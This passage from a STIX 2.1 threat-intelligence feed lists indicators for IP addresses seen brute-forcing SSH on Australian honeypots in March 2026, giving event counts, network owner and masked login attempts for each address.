      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****5.",
      "id": "indicator--30143e77-4b86-48dc-9539-90c73366a016",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****4, c*****l.",
      "id": "indicator--9ffb24d1-9780-469b-825e-3254474f6fa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): m******1, o*******1.",
      "id": "indicator--38506b88-fa3a-45ec-9974-7dbab16fcec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****8, d******d.",
      "id": "indicator--e7316f7d-0d50-4c97-a825-43922aa220d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****9.",
      "id": "indicator--7bc982e5-fd0a-441a-9281-97c8091a9d2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****0.",
      "id": "indicator--a6a0cc02-977c-4d6f-b97b-85ba807bcab1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): a****t, r****x.",
      "id": "indicator--4c9b0556-e57c-4818-b471-c7d0d7f0e598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******5.",
      "id": "indicator--61dfd77b-78cc-4a4f-b598-163e90c864bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, d*******3, f********s.",
      "id": "indicator--2a9173b7-4811-48e8-ba89-b469d3e09c3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****8.",
      "id": "indicator--79384866-fd5e-4f59-a198-0d5e8a168118",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): g*****e.",
      "id": "indicator--a098d254-4e80-4aa9-9331-0899905a3dc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****0, p*******e.",
      "id": "indicator--f1d3fa03-3056-4bac-840b-26ab490c6882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): g***u, n**a, r*****o, s****a.",
      "id": "indicator--e97c1459-2b62-4fe8-9f1c-4b3f535a3f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****7, 2****9.",
      "id": "indicator--dced5ea9-44a5-421a-99c9-3bafd9b5c8cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****8, *, r***n.",
      "id": "indicator--868359b8-ac77-4e3e-9098-72bcc2fd340f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****8.",
      "id": "indicator--02cdc486-9b84-40bc-99e6-040ce3ad18e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 3****9, z******1.",
      "id": "indicator--a15739b0-bc4f-451b-ad32-91a3d4f85b60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****4, 1******6, 2****8, r****r.",
      "id": "indicator--6e3454f2-eec8-4f58-9464-3f518e4b2649",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 3****6, a******1.",
      "id": "indicator--000bc8a1-6dd8-4ce9-a0e2-438401d6b089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****3.",
      "id": "indicator--7c7a60a7-07c5-47d3-93c5-1efb65107a9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****7, s*****1.",
      "id": "indicator--53e764ee-2f10-4b2a-a683-6e5031b99f9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****0, 3****7, j*****3, l*****e.",
      "id": "indicator--18dc52f8-5116-46b5-850a-9b3b2f643cb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): j******e.",
      "id": "indicator--3f91dd1a-3234-4884-8ccd-0d1f15535fbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): g****m, h****s.",
      "id": "indicator--48ca5ec1-6cef-4711-9b82-6cfd4a525f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): h********F.",
      "id": "indicator--08e782ac-d30c-48c2-ad6b-fef5a5e93654",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): l*******a.",
      "id": "indicator--2463f2f0-82e7-4832-a146-05e34bedb348",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****0.",
      "id": "indicator--c44d1f4d-b2d9-48ec-bf82-d4a3167ef0f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****3, 0****8, 3****2, ***, j*********e.",
      "id": "indicator--02ac181f-fc0d-4a94-99fb-3b5d6b6c9ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): c*****s.",
      "id": "indicator--26e3750e-ae9b-4a81-9871-e823cafed761",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): k****1.",
      "id": "indicator--a447ca26-abfe-4cb7-820c-bd14cc3f6f42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0*****1, 2******8, 5*******4.",
      "id": "indicator--742bc2cf-9eea-4f40-8fc7-2ddccfa63711",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): f*****1, g****1.",
      "id": "indicator--4c84216d-b369-4b69-b3c5-4f269c0b1f4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 2****2, l***t.",
      "id": "indicator--12259149-6405-47ce-bc92-52ec4cf1b123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): a*******e.",
      "id": "indicator--9357e79a-6478-42d1-af07-488efa042cfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
